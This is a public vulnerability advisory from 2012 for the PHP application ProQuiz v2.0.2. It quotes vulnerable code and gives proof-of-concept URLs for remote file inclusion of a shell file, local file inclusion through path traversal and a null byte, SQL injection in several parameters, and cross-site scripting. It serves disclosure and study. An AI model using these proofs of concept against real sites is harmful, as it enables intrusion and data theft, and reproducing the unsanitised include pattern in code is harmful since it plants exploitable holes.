扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 |
#################################################### ### Exploit Title: ProQuiz v2.0.2 - Multiple Vulnerabilities ### Date: 18/7/2012 ### Author: L0n3ly-H34rT ### My Site: http://se3c.blogspot.com/ ### Contact: l0n3ly_h34rt@hotmail.com ### Vendor Homepage: http://proquiz.softon.org/ ### Software Link: http://code.google.com/p/proquiz/downloads/list ### Tested on: Linux/Windows #################################################### 1- Remote File Include : * In File (my_account.php) in line 114 & 115 : if($_GET['action']=='getpage' && !empty($_GET['page'])){ @include_once($_GET['page'].'.php'); * P.O.C : First register and login in your panel and paste that's url e.g. : http://127.0.0.1/full/my_account.php?action=getpage&page=http://127.0.0.1/shell.txt? * Note : Must be allow_url_include=On ----------------------------------------------------------------------- 2- Local File Include : * In File (my_account.php) in line 114 & 115 : if($_GET['action']=='getpage' && !empty($_GET['page'])){ @include_once($_GET['page'].'.php'); * P.O.C : First register and login in your panel and paste that's url e.g. : http://127.0.0.1/full/my_account.php?action=getpage&page=../../../../../../../../../../windows/win.ini%00.jpg * Note : Must be magic_quotes_gpc = Off --------------------------------------------------------------------- 3- Remote SQL Injection & Blind SQL Injection : * In Two Files : A- First ( answers.php ) in line 55 : <?php echo $_GET['instid']; ?> B- Second ( functions.php ) In : $_POST['email'] $_POST['username'] * P.O.C : A- First : http://127.0.0.1/full/answers.php?action=answers&instid=[SQL] B- Second : About Email : In URL: http://127.0.0.1/full/functions.php?action=recoverpass Inject Here In POST Method : email=[SQL] About Username : In URL: http://127.0.0.1/full/functions.php?action=edit_profile&type=username Inject Here In POST Method : username=[SQL] ------------------------------------------------------------------------------------- 4 - Cross Site Scripting : e.g.: http://127.0.0.1/full/answers.php?action=answers&instid=[XSS] ----------------------------------------------------------------------------------- # Greetz to my friendz References: http://se3c.blogspot.com/ http://code.google.com/p/proquiz/downloads/list |
体验盒子
